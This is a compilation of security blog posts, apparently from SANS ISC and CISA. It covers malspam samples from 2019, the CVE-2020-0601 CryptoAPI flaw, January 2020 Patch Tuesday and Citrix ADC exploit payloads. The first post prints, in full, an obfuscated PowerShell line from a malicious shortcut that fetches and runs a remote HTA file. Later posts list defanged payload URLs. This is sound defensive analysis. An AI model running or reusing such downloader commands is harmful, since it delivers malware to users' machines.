Although less than two days have gone by since the latest release of MSFT patches, I find that it would actually be hard to add anything interesting to them that hasn’t been discussed before, as the most important vulnerabilities (couple of RCEs and an interesting vulnerability in CryptoAPI) seemed to be all anyone talked about for the last 24 hours. If you didn’t hear anything about it, I suggest you take a look at the ISC coverage of the CryptoAPI vulnerability[1] as well as the Patch Tuesday overview[2]. But for the rest of us, I thought today might be a good day to take a short break from this topic and take a look at what the last year brought us instead.

Since 2019 has passed us by, I thought it might be interesting to take a look at the malicious files, which it left in my e-mail quarantine. Specifically, I thought it might be worthwhile to try to determine which of the malicious files was the smallest and which the largest as these might provide us with good example of how two extreme cases of malware might have looked in 2019. The assumption was that one would probably be very simple and the other one very complex.

I started out with a little over 650 files, mostly of the usual malspam types. After unpacking all of the archives (by the way, let me know if anyone still uses the ACE format), IMGs, ISOs, etc., I was left with plenty of Office documents, PDFs, different varieties of scripts, and – of course – executables. Most of these were left with the default EXE extension, however there were couple SCRs and COMs in the mix as well. There were plenty of other file types as well – for example a couple of LNKs, one of which tried to look like a RTF file and the other like a PNG file.

The latter file turned out to be the smallest of the bunch. It was originally packed within an archive (777 bytes long ZIP file titled PO.pdf.zip), which was attached to a phishing e-mail from the end of October. At 2,296 bytes, it was no larger than any normal LNK. Correspondingly, it wasn’t overly complex – the target of the shortcut was set to the following string.

C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe $pvs=[string][char[]]@(0x68,0x74,0x74,0x70,0x73) -replace ' ','';$mja=[string][char[]]@(0x6d,0x73,0x68,0x74,0x61) -replace ' ','';sal yc $mja;$pvs+='://fajr.com/out-1870541522.hta';yc $pvs

After removing the elementary obfuscation, this comes down to the following result.

C:WINDOWSSystem32WindowsPowerShellv1.0powershell.exe mshta https://fajr.com/out-1870541522.hta

As we may see, the LNK was just a simple downloader for a HTA file, which it was supposed to execute. So far, the assumption of positive correlation between size and complexity of the malware attachments held true.

Where things got interesting was the hunt for the largest file. Although there are exceptions, malicious files are only seldom significantly larger than 2 or 3 megabytes. Considering this, I was quite surprised when I sorted the files and found a 74 MB executable (an EXE with .COM extension) at the top.

Since no file among the original attachments was nearly as large as this one, there was only one possible explanation of where it came from. The file had to have been part of one of the archives and it had to have been packed with an extremely good compression ratio enabled by its internal structure. My guess was that the authors of the file included lots of unused uniform space (most likely in the form of null bytes) in the executable in order to make it extremely large and very compressable at the same time. This turned out to be the case as the archive (ZIP with a .R20 extension), in which the file was originally stored, was only 442 kB large.

After taking a closer look at the executable, the theory about null bytes was proven as well. In fact, as the following histogram of byte values in the file demonstrates, almost 99% of the file was nothing but one large segment filled with null bytes intended only to make the file much larger than it needed to be.

I assume that the size of the executable was increased in this way in order to enable it to bypass anti-malware scans. It is customary to configure anti-malware software with a maximum size of files, which it should scan. This is done in order to minimize impact of scans on computing resources and since most malicious files aren’t too large, the fact that scans are only done on smaller files doesn’t usually present much of an issue. In the case of our 74 MB executable, it however means that its size alone might potentially shield it from being scanned and detected on some systems.

This technique is quite imaginative, because since it is very easy to implement, it is a very “cheap” way for malware authors to shield their creation from at least some methods of detection. Although I’m sure the technique has been used before (I found 3 other files which used it among the samples I had available), it is definitely not common.

Due to its inflated size, the executable ended up not being as complex as I have hoped. After further analysis, it turned out that the file, which originally arrived in an e-mail at the beginning of February 2019, was otherwise a normal variant of the Pony/FareIT info stealer.

Although the original idea of showing a very simple and a very complex malware did not pan out, I believe that taking a look at the files wasn’t a total loss since our not-so-complex large file turned out to be interesting in its own right… Additionally, when I saw all of the executables placed in a single folder, I thought it might be a good opportunity to demonstrate one more interesting concept.

It is quite usual for malware authors to use similar naming schemes when it comes to filenames and variables and this may aid us in quickly finding links among different malicious files and campaigns. However, file names aren’t necessarily the only visual indicator we may use to determine links between different malicious files. In some cases, just looking at the icons of the executables may provide us with similar information, as some malicious actors can get quite attached to a single icon design or style. The following icons may serve as a good example since, although they are all different, the similarities are so notable that one can reasonably assume that they were created by the same author or were part of the same campaign. Which is true – all the executables were part of a malspam campaign active during February and March 2019.

While the similarity in icon designs isn’t always so striking, and it usually doesn’t provide us with a definitive link between files (it may only mean that the files were created use the same SW), it can sometimes be a useful indicator that multiple files are in some way related even though their names might not appear similar.

 

PO.png.lnk
MD5 – 687ab70423fe0ab87522715e817a7095
SHA1 – 7879e064f00ec3a23185bd09221fdd94b08e52ef

DHL_shipping Doc.com
MD5 – 7e6fbf419a902b5880c04969082a8b3f
SHA1 – c19b040f995ec7a23af971d6c07db53fc5b0e911

 

[1] https://isc.sans.edu/forums/diary/CVE20200601+Followup/25714/
[2] https://isc.sans.edu/forums/diary/Microsoft+Patch+Tuesday+for+January+2020/25710/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

CVE-2020-0601 Followup, (Wed, Jan 15th)

This post was originally published on this site

Among the patches Microsoft released yesterday, the vulnerability in the CryptoAPI got by far the most attention. Here are some answers to questions we have received about this vulnerability. Many of these questions also came from our webcast audience (for a recording, see https://sans.org/cryptoapi-isc )

We also made a simple PowerPoint presentation available to help you brief management on the issue: TalkingToYourBossAboutCryptoAPI.pptx

[I am still going over some of the questions from the webcast. This post will be updated later today with additional questions. Feel free to submit questions here: https://isc.sans.edu/contact.html ]

  • What is the name of the vulnerability?
    There is no catchy name or logo for this vulnerability. It is referred to as “CVE-2020-0601”, “CryptoAPI ECC Verification Vulnerability,” or “crypt32.dll Vulnerability” and several other names. It is probably best to use the CVE number as an identifier.
  • Which operating systems are affected?
    Only Windows 10 and Windows Server 2016 and 2019 are affected. Windows 7 is not affected. There was some confusion about this because Windows 7 is no longer officially supported after this patch release. But the January 14th patch Tuesday did cover Windows 7. The affected library, crypt32.dll (CryptoAPI), is present in older versions of Windows, including Windows 7. But not all versions of this library are affected. Out of support versions of Windows 10, like Windows 10 1709, are likely vulnerable, and you should upgrade to Windows 10 1809, the current “long term support” version.
  • Have there been any problems reported with this patch?
    None so far that we are aware of.
  • I am only using RSA certificates. Am I still vulnerable?
    Likely yes. First of all, even if you use RSA certificates exclusively internally, many external sites and software distributors will use elliptic curve (ECC) certificates. Also, the operating system will treat ECC and RSA certificates as equals. Think of it as a different certificate authority. Your system will trust certificates from any trusted certificate authority. Even if you retrieve your certificates exclusively from “Authority A,” an attacker could still use “Authority B” to impersonate you as long as your systems trust “Authority B.” Certificate pinning may help here (or pinning the certificate authority)
  • Is Windows Update itself vulnerable?
    No. Windows Update added several protections to prevent attacks where an attacker would be able to obtain a fake Microsoft certificate. Microsoft uses Certificate pinning and other protection measures to make attacks very difficult and impossible via CVE-2020-0601.
  • Is SCCM Vulnerable (Microsoft System Center Configuration Manager)?
    No. It applies the same checks to updates as does “Windows Update.”
  • How do I know if I am patched?
    Check if hotfix id KB4534273 is applied.
  • Is there an exploit available?
    Not that I know of right now. But several researchers have claimed to have exploited this vulnerability within hours of Microsoft’s announcement.
  • Is there some form of test certificate available (not a full exploit) to check my defenses?
    Not yet.
  • Will I know if someone attacked me using this vulnerability?
    If you patched, Windows will log an alert if it detects a suspect certificate. Endpoint protection vendors, including Microsoft, have added signatures to their solutions, checking for certificates that are likely exploits.
  • How will I be able to detect if a certificate is taking advantage of this vulnerability?
    The certificate will use an elliptic curve with explicit parameters. Three parameters define elliptic curves. There are several standard (“named”) curves with set parameters. But instead of using one of these named elliptic curves, you may also specify your parameters. Not all certificates with explicitly defined parameters are malicious. But the exploit requires the use of these explicit parameters.

 


Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Microsoft Patch Tuesday for January 2020, (Tue, Jan 14th)

This post was originally published on this site

[Special Note: we will have a special webcast on this topic at noon ET tomorrow (Wednesday, January 15th. See https://sans.org/cryptoapi-isc )

This month, Microsoft wasn’t able to prevent information about these updates from leaking as it usually can. Information about one particular flaw, %CVE:2020-0601%, the “Windows CryptoAPI Spoofing Vulnerability,” was leaked as early as Friday.

CVE-2020-0601 has a significant impact on endpoint security. An attacker exploiting this vulnerability will be able to make malicious code look like it was signed by a trusted source (for example, Microsoft). The flaw only affects Elliptic Curve Cryptography (ECC) certificates. ECC, just like RSA certificates, use public/private keys. ECC is considered more modern and efficient. ECC keys are significantly shorter than RSA keys of equivalent strength. With ECC still being somewhat “new,” many software publishers still use RSA certificates. But it appears to be possible that an attacker could spoof an entity that usually only uses RSA certificates by applying a spoofed ECC certificate to malicious software. The code validating the certificate doesn’t know which type of certificate a publisher uses.

How severe is this flaw? If you are having issues with your users enabling macros in Office documents they receive from untrusted sources and if nothing blocks them from downloading and execute malware: Don’t worry. You are not validating signatures anyway. However, if you have an endpoint solution that blocks users from running untrusted code: You likely need to worry and apply this patch quickly. The flaw is part of Microsoft’s Crypto API (crypt32.dll). This library is used by pretty much all Windows software that deals with encryption and digital signatures. This flaw is likely going to affect a lot of third party software as well, not just software written by Microsoft. 

At this point, I am not aware of a public exploit, but the advisory was made public minutes ago. Maybe we will know more by the end of the day. At this point, the vulnerability has not been exploited yet. It was found by the US National Security Agency (NSA), who reported the flaw to Microsoft.

But %CVE:2020-0601% isn’t the only vulnerability you should be worried about this month. %CVE:2020-0609% and %CVE:2020-0610% are fixing remote code execution vulnerabilities in the Windows Remote Desktop Gateway (RD Gateway). Remember BlueKeep? The RD Gateway is used to authenticate users and allow access to internal RDP services. As a result, RD Gateway is often exposed and used to protect the actual RDP servers from exploitation.

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Remote Code Execution Injection Vulnerability
%%cve:2020-0646%% No No Critical    
.NET Framework Remote Code Execution Vulnerability
%%cve:2020-0605%% No No Critical    
%%cve:2020-0606%% No No Critical    
ASP.NET Core Denial of Service Vulnerability
%%cve:2020-0602%% No No Less Likely Less Likely Important    
ASP.NET Core Remote Code Execution Vulnerability
%%cve:2020-0603%% No No Critical    
Hyper-V Denial of Service Vulnerability
%%cve:2020-0617%% No No Important 5.3 4.8
Internet Explorer Memory Corruption Vulnerability
%%cve:2020-0640%% No No Critical 7.5 6.7
Microsoft Cryptographic Services Elevation of Privilege Vulnerability
%%cve:2020-0620%% No No Important 7.8 7.0
Microsoft Dynamics 365 (On-Premise) Cross-Site Scripting Vulnerability
%%cve:2020-0656%% No No Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-0650%% No No Important    
%%cve:2020-0651%% No No Important    
%%cve:2020-0653%% No No Important    
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2020-0622%% No No Important 5.5 5.0
Microsoft Graphics Components Information Disclosure Vulnerability
%%cve:2020-0607%% No No Important 5.5 5.0
Microsoft Office Memory Corruption Vulnerability
%%cve:2020-0652%% No No Important    
Microsoft Office Online Spoofing Vulnerability
%%cve:2020-0647%% No No Important    
Microsoft OneDrive for Android Security Feature Bypass Vulnerability
%%cve:2020-0654%% No No Important    
Microsoft Windows Denial of Service Vulnerability
%%cve:2020-0616%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Windows Elevation of Privilege Vulnerability
%%cve:2020-0641%% No No Important 7.8 7.0
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2020-0611%% No No Critical 7.5 6.7
Remote Desktop Web Access Information Disclosure Vulnerability
%%cve:2020-0637%% No No Important 5.7 5.1
Update Notification Manager Elevation of Privilege Vulnerability
%%cve:2020-0638%% No No Important 7.8 7.0
Win32k Elevation of Privilege Vulnerability
%%cve:2020-0624%% No No Important 7.8 7.0
%%cve:2020-0642%% No No Important 7.8 7.0
Win32k Information Disclosure Vulnerability
%%cve:2020-0608%% No No Important 5.5 5.0
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2020-0634%% No No More Likely More Likely Important 7.8 7.0
Windows Common Log File System Driver Information Disclosure Vulnerability
%%cve:2020-0615%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-0639%% No No Less Likely Less Likely Important 5.5 5.0
Windows CryptoAPI Spoofing Vulnerability
%%cve:2020-0601%% No No More Likely More Likely Important 8.1 7.3
Windows Elevation of Privilege Vulnerability
%%cve:2020-0635%% No No Important 7.8 7.0
%%cve:2020-0644%% No No Important 7.8 7.0
Windows GDI+ Information Disclosure Vulnerability
%%cve:2020-0643%% No No Important 5.5 5.0
Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
%%cve:2020-0612%% No No Important 7.5 6.7
Windows Remote Desktop Gateway (RD Gateway) Remote Code Execution Vulnerability
%%cve:2020-0609%% No No Critical 9.8 8.8
%%cve:2020-0610%% No No Critical 9.8 8.8
Windows Search Indexer Elevation of Privilege Vulnerability
%%cve:2020-0613%% No No Important 7.8 7.0
%%cve:2020-0614%% No No Important 7.8 7.0
%%cve:2020-0623%% No No Important 7.8 7.0
%%cve:2020-0625%% No No Important 7.8 7.0
%%cve:2020-0626%% No No Important 7.8 7.0
%%cve:2020-0627%% No No Important 7.8 7.0
%%cve:2020-0628%% No No Important 7.8 7.0
%%cve:2020-0629%% No No Important 7.8 7.0
%%cve:2020-0630%% No No Important 7.8 7.0
%%cve:2020-0631%% No No Important 7.8 7.0
%%cve:2020-0632%% No No Important 7.8 7.0
%%cve:2020-0633%% No No Important 7.8 7.0
Windows Security Feature Bypass Vulnerability
%%cve:2020-0621%% No No Important 4.4 4.0
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2020-0636%% No No Important 7.8 7.0


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA20-014A: Critical Vulnerabilities in Microsoft Windows Operating Systems

This post was originally published on this site

Original release date: January 14, 2020

Summary

New vulnerabilities are continually emerging, but the best defense against attackers exploiting patched vulnerabilities is simple: keep software up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.

On January 14, 2020, Microsoft released software fixes to address 49 vulnerabilities as part of their monthly Patch Tuesday announcement. Among the vulnerabilities patched were critical weaknesses in Windows CryptoAPI and Windows Remote Desktop Protocol (RDP) server and client. An attacker could remotely exploit these vulnerabilities to decrypt, modify, or inject data on user connections:

  • CryptoAPI spoofing vulnerability – CVE-2020-0601: This vulnerability affects all machines running 32- or 64-bit Windows 10 operating systems, including Windows Server versions 2016 and 2019. This vulnerability allows Elliptic Curve Cryptography (ECC) certificate validation to bypass the trust store, enabling unwanted or malicious software to masquerade as authentically signed by a trusted or trustworthy organization. This could deceive users or thwart malware detection methods such as antivirus. Additionally, a maliciously crafted certificate could be issued for a hostname that did not authorize it, and a browser that relies on Windows CryptoAPI would not issue a warning, allowing an attacker to decrypt, modify, or inject data on user connections without detection.
  • Multiple Windows RDP vulnerabilities – CVE-2020-0609, CVE-2020-0610, and CVE-2020-0611: These vulnerabilities affect Windows Server 2012 and newer. In addition, CVE-2020-0611 affects Windows 7 and newer. These vulnerabilities—in the Windows Remote Desktop client and RDP Gateway Server—allow for remote code execution, where arbitrary code could be run freely. The server vulnerabilities do not require authentication or user interaction and can be exploited by a specially crafted request. The client vulnerability can be exploited by convincing a user to connect to a malicious server.

The Cybersecurity and Infrastructure Security Agency (CISA) is unaware of active exploitation of these vulnerabilities. However, because patches have been publicly released, the underlying vulnerabilities can be reverse-engineered to create exploits that target unpatched systems.

CISA strongly recommends organizations install these critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected information technology/operational technology (IT/OT) assets.

Technical Details

CryptoAPI Spoofing Vulnerability – CVE-2020-0601

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates ECC certificates.

According to Microsoft, “an attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider.” Additionally, “a successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software.”[1]

A cyber attacker could exploit CVE-2020-0601 to obtain sensitive information, such as financial information, or run malware on a targeted system; for example:

  • A maliciously crafted certificate could appear to be issued for a hostname that did not authorize it, preventing a browser that relies on Windows CryptoAPI from validating its authenticity and issuing warnings. If the certificate impersonates a user’s bank website, their financial information could be exposed.
  • Signed malware can bypass protections (e.g., antivirus) that only run applications with valid signatures. Malicious files, emails, and executables can appear legitimate to unpatched users.

The Microsoft Security Advisory for CVE-2020-0601 addresses this vulnerability by ensuring that Windows CryptoAPI completely validates ECC certificates.

Detection Measures

The National Security Agency (NSA) provides detection measures for CVE-2020-0601 in their Cybersecurity Advisory: Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers.[2]

Windows Remote Desktop Server Vulnerabilities – CVE-2020-0609/CVE-2020-0610

According to Microsoft, “A remote code execution vulnerability exists in Windows Remote Desktop Gateway (RD Gateway) when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction.”[3],[4]

CVE-2020-0609/CVE-2020-0610:

  • Affects all supported Windows Server versions (Server 2012 and newer; support for Server 2008 ends January 14, 2020);
  • Occurs pre-authentication; and
  • Requires no user interaction to perform.

The Microsoft Security Advisories for CVE-2020-0609 and CVE-2020-0610 address these vulnerabilities.

Windows Remote Desktop Client vulnerability – CVE-2020-0611

According to Microsoft, “A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.”[5]

CVE-2020-0611 requires the user to connect to a malicious server via social engineering, DNS poisoning, a man-in the-middle attack, or by the attacker compromising a legitimate server.

The Microsoft Security Advisory for CVE-2020-0611 addresses this vulnerability.

IMPACT

A successful network intrusion can have severe impacts, particularly if the compromise becomes public and sensitive information is exposed. Possible impacts include:

  • Temporary or permanent loss of sensitive or proprietary information,
  • Disruption to regular operations,
  • Financial losses relating to restoring systems and files, and
  • Potential harm to an organization’s reputation.

 

Mitigations

CISA strongly recommends organizations read the Microsoft January 2020 Release Notes page for more information and apply critical patches as soon as possible—prioritize patching by starting with mission critical systems, internet-facing systems, and networked servers. Organizations should then prioritize patching other affected IT/OT assets.

General Guidance

  • Review Guide to Enterprise Patch Management Technologies, NIST Special Publication 800-40 Revision 3. Patch management is the process for identifying, acquiring, installing, and verifying patches for products and systems. This publication is designed to assist organizations in understanding the basics of enterprise patch management technologies. It explains the importance of patch management and examines the challenges inherent in performing patch management. It provides an overview of enterprise patch management technologies, and also briefly discusses metrics for measuring the technologies’ effectiveness.
  • Review CISA Insights publications. Informed by U.S. cyber intelligence and real-world events, each CISA Insight provides background information on particular cyber threats and the vulnerabilities they exploit, as well as a ready-made set of mitigation activities that non-federal partners can implement. Printable materials can be found by visiting: https://www.cisa.gov/publication/cisa-insights-publications.
  • Review CISA’s Cyber Essentials. CISA’s Cyber Essentials is a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices. Essentials are the starting point to cyber readiness. To download the guide, visit: https://www.cisa.gov/publication/cisa-cyber-essentials.

References

Revisions

  • January 14, 2020: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Citrix ADC Exploits: Overview of Observed Payloads, (Mon, Jan 13th)

This post was originally published on this site

If you missed Johannes’ diary entry “Citrix ADC Exploits are Public and Heavily Used. Attempts to Install Backdoor” this Saturday, make sure to read it first.

Now that there are public exploits for Citrix ADC, we are seeing many attacks and are observing various payloads.

For the moment, after normalization, we observed 37 different payloads. Here is a screenshot of all these payloads (we are using an image to avoid triggering your AV when you read this diary entry):

The normalization done on the commands above is for filenames (XXX.xml), echo command (echo XXXXXX) and TrustedSec’s PoC (chr(..) …).

The commands vary from simple reconnaissance and exfiltration to second stage downloads and wiping.

After decoding and normalizing the “print readpipe(chr(..) …)” commands (used in TrustedSec’s PoC), we end up with 14 different payloads:

Some of these are similar to the previous commands, and we also observe many “Python reverse shells” (import socket …).There are ping and curl reconnaisance commands (IPV4_TARGET is a normalization of the subdomain encoding the IPv4 address of the target).

And we have a second Perl backdoor (import base64; …) using a NetScaler module:

Countrary to the first Perl backdoor reported by Johannes, this one requires a password to execute commands:

Like the first backdoor, this one too has 0 detections on VirusTotal at time of writing.

We observed 377 variants of this backdoor, all identical except for the MD5 hash (password).

 

To detect attacks against your systems, take a look at the Snort rule we published on Saturday.

 

IOCs extracted from the payloads reported in this diary entry:

hxxp://185.178.45[.]221/ci2.sh
hxxp://159.69.37[.]196/sites/default/files/test/cmd.pl
hxxp://185.178.45[.]221/ci3.sh
hxxp://stan[.]sh
hxxp://www.jdjd[.]com/sks.rar
hxxps://pastebin[.]com/raw/d3SY1erQ
hxxp://61.218.225[.]74/snspam/lurk/shell/am.txt

 

188.166.106[.]153
192.3.255[.]144
31.134.200[.]75
51.68.122[.]93
81.110.55[.]125
82.27.64[.]190

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.